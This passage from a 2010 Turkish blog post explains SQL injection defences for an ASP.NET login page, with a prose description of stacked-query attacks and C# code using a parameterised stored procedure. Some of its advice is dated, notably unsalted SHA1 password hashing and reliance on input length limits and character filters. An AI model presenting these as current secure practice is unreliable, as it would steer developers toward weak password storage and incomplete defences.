<p>Bu ifade ile çoklu Sql deyimleri noktalı virgül yardımı ile aynı anda çalıştırılabilir. Bu ifade ile users tablosunda yer alan kullanıcı adı mehmet olan kişinin şifresini deneme olarak değiştiriyor. Eğer yukarıdaki gibi kötü yazılmış bir kod varsa bu işlem başarı ile gerçekleştiriliyor. Yine aynı şekilde buna benzer bir ifade ile, veritabanında yeni kullanıcılar yaratılabilr, bir tablo silinebilir, veya herhangi bir stored procedure yazılarak çok farklı işlemler gerçekleştirilebilir. Bunu önlemenin yolu veritabanına bağlantı yaptığımız ConnectionString&#8217;inde yer alan user&#8217;a sadece ve sadece gerekli izinler verilmelidir. Örneğin, burada user&#8217;ın sadece SELECT ifadesi için izin verilseydi hiç bir sorun olmayacaktı.</p>
<p>Şimdi daha güvenli login işleminin nasıl gerçekleşeceğini görelim.</p>
<p><strong><strong>Daha Güvenli Login Sayfamız</strong></strong></p>
<p>Öncelikle sayfamızın tasarım kısmının neye benzediğine bakalım. Daha iyi görebilmek için şeklin üzerine tıklayıp büyütebilirsiniz</p>
<p><a href="http://www.capraz.net/aspnetimages/Sqlinjection_1.gif" target="_blank"></a></p>
<p>LOGIN Butonuna tıkladığımızda çalışacak kodu görmeden önce Web.config dosyasında yer alan ConnectionString ifadesini görelim.</p>
<p>Button&#8217;umuzun OnClick olayında çalışacak kod ise şu şekildedir.</p>
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr height="537">
<td height="537" valign="top" bgcolor="#cccccc">private void Button1_Click(object sender, System.EventArgs e)<br />
{<br />
if(Page.IsValid)<br />
{<br />
string strCnx = ConfigurationSettings.AppSettings["BetterconnStr"];<br />
SqlConnection conn = new SqlConnection(strCnx);</p>
<p>conn.Open();<br />
SqlCommand cmd = new SqlCommand();<br />
cmd.Connection = conn;<br />
cmd.CommandType = CommandType.StoredProcedure;<br />
cmd.CommandText = &#8220;UserControl&#8221;;</p>
<p>SqlParameter prm;<br />
prm = new SqlParameter(&#8221;@username&#8221;,SqlDbType.NVarChar,50);<br />
prm.Direction = ParameterDirection.Input;<br />
prm.Value = FormsAuthentication.HashPasswordForStoringInConfigFile(txtusername.Text,&#8221;SHA1&#8243;);<br />
cmd.Parameters.Add(prm);</p>
<p>prm = new SqlParameter(&#8221;@password&#8221;,SqlDbType.NVarChar,50);<br />
prm.Direction = ParameterDirection.Input;<br />
prm.Value = FormsAuthentication.HashPasswordForStoringInConfigFile(txtpassword.Text,&#8221;SHA1&#8243;);<br />
cmd.Parameters.Add(prm);</p>
<p>SqlDataReader dr;<br />
dr = cmd.ExecuteReader();<br />
if (dr.Read())<br />
{<br />
FormsAuthentication.RedirectFromLoginPage(txtusername.Text, false);<br />
}<br />
else<br />
{<br />
ErrLabel.Text = &#8220;Başarısız İşlem&#8221;;<br />
}<br />
}<br />
}</td>
</tr>
</tbody>
</table>
<p>Yukarıda makalenin ilk başında bahsettiğim 5 temel prensibin hepsi bu login işleminde uygulandı. TextBox nesnelerine girilebilecek max karakter sayısının kısıtlanması ile çalışabileck Sql deyimleri girilemez. Aynı şekilde RegularExpressionValidator ifadeleri ile özel karakterlerin girilmesi önlenlenmiş oldu. Yine ConnectionString ifademizde benim yarattığım bir kullanıcı ile bağlanılıyor. Bu kullanıcıya sadece StoredProcedure&#8217;leri çalıştırılmasına izin veriliyor. Böylece başka herhangi bir sql komutunun çalışmasına olanak tanınmıyor. Çünkü veritabanına bağlanan kullanıcının yapabildikleri kısıtlanmıştır. SqlCommandType&#8217;in özelliği Stored Procedure olarak ayarlanmış ve böylece dinamik SQL ifadelerinin kullanılması engellenmiş olur. Stored Procedure&#8217;e aktarılan parametrelerde şifrelenerek veritabanında, şifrelenmiş olarak duran kayıtlarla karşılaştırlır.</p>
<p>Elbette web uygulamasının içerisinde, login sayfasından farklı sayfalarda yer alan TextBox nesneleri ile kötü niyetli kullanıcılar veritabanımıza dolayısıyla web uygulamamıza zarar verebilirler. Örneğin, herkesin bildiği site içerisinde arama yapabilmemizi sağlayan TextBox nesnelerine girilen değerlerde kontrol edilmelidir.</p>
<p>Bu makalenin içerisinde yer alan kodları daha iyi anlayabilmek için, makale içinde geçen bazı konuları (FormsAuthentication, Verileri Şifreleme, RegularExpressionValidator, Stored Procedure) yine aspnedir.com sitesinden okumanızı tavsiye ederim.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tunahan.net/2010/01/29/sql-injection-korunma-yollari/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
